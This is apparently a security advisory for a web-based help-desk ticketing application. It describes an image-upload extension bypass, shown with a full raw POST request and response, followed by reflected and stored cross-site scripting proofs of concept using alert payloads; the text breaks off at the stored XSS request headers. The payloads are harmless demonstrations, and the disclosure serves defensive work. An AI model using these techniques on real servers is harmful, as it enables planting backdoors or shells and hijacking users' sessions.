1) Arbitrary File Upload (File Extension Verification Bypass)
It's possible to bypass the image extension check in the ticket creation editor. Normally you would go to Requests -> New Request -> select the "Insert Image" to upload a picture to be included in the ticket and is restricted to jpg/gif/png files. If you send a POST request directly to the /jsp/UploadImage.jsp?Module=Workorder url you'll be able to upload any file. This might lead to uploading web site files which could be used for malicious actions (backdoors/shells).
Below a sample POST request, note that a valid cookie is needed (and be authenticated) to perform these actions. The POST request uploads a file test.txt with the contents "TEST!"
POST /jsp/UploadImage.jsp?Module=WorkOrder HTTP/1.1
Host: exploitme:8080
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:10.0.2) Gecko/20100101 Firefox/10.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Length: 231
Content-Type: multipart/form-data; boundary=---------------------------135769595918512168611930018855
Content-Length: 231
-----------------------------135769595918512168611930018855
Content-Disposition: form-data; name="img_file"; filename="test.txt"
Content-Type: image/gif
TEST!
-----------------------------135769595918512168611930018855--
In the HTTP response you'll see this:
<script>var formName = parent.document.getElementById("FORMNAME").value;
var opts = parent.document.forms[formName].INLINEIMAGES.options;
var imgName = "1340090056957.txt";
var option = new Option(imgName, imgName);
option.selected = true;
opts[opts.length] = option;
// parent.showImage("WorkOrder","2","1340090056957.txt");
parent.ZE.activeEditor.previewImage("/inline/"+"WorkOrder"+"/"+"2"+"/"+"1340090056957.txt");//No i18n</script>
Which makes the following url accessable and will show the "TEST!" in clear text:
http://<IP ADDRESS>:8080/inline/WorkOrder/2/1340090056957.txt
2) Reflected XSS
Proof of Concept:
http://<IP ADDRESS>:8080/HomePage.do?fromCustomer=%27;alert%28%22Hello%20World%22%29;%20var%20frompor=%27null
3) Stored XSS vulnerability
How to replicate:
Requests -> New Request
Subject: anything
Description window -> select Edit HTML button -> Insert script code i.e.: <script>alert("Hello World")</script>
POST request headers:
